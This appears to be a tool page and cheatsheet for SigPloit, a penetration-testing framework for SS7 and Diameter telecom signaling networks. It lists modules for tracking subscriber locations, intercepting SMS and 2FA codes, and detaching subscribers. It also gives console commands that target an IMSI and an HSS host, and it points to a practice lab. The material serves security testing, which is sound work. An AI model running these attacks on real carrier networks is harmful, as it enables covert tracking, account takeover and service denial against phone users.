SigPloit — Telecom Signaling Exploitation Framework

SigPloit is the premier dedicated penetration testing framework for telecommunication signaling networks. In TelcoChisel, SigPloit is pre-compiled with updated SCTP kernel socket libraries, LibSS7, and modern Diameter dictionary definitions.

Key Telecom Attack Modules

• Location Tracking: Send MAP SendRoutingInfoForSM (SRI-SM), ProvideSubscriberInfo (PSI), and AnyTimeInterrogation (ATI) to pinpoint subscriber cell IDs and geographic coordinates.
• SMS & Voice Interception: Execute UpdateLocation (UL) and InsertSubscriberData (ISD) to hijack inbound SMS verification codes and 2FA tokens.
• Denial of Service (DoS): Execute PurgeMS and CancelLocation to detach subscribers from cellular operator VLRs.
• Diameter 4G/LTE Attacks: Execute ULR (Update-Location-Request), CLR (Cancel-Location-Request), and PUR (Purge-UE-Request) across S6a interfaces.

Pre-installed TelcoChisel Cheatsheet

1. Launch SigPloit CLI

# Launch SigPloit interactive console
sigploit

2. Configure Local & Remote SCTP Signatures

# Within SigPloit console:
sigploit > use ss7/tracking/psi
sigploit (ss7/tracking/psi) > set LocalIP 192.168.1.100
sigploit (ss7/tracking/psi) > set RemoteIP 10.10.20.1
sigploit (ss7/tracking/psi) > set RemotePort 2905
sigploit (ss7/tracking/psi) > set TargetIMSI 001010123456789
sigploit (ss7/tracking/psi) > run

3. Diameter S6a Location Tracking

# Execute Diameter User-Authorization / Location check
sigploit > use diameter/tracking/ulr
sigploit (diameter/tracking/ulr) > set TargetIMSI 208950000000001
sigploit (diameter/tracking/ulr) > set DestinationHost hss.mnc095.mcc208.3gppnetwork.org
sigploit (diameter/tracking/ulr) > run

Practice in TelcoSec Cloud Academy

To practice SS7/Diameter attacks against isolated carrier STP/HSS nodes in private cloud testbeds: 👉 Access the SS7/Diameter Signaling Lab at App.TelcoSec.Net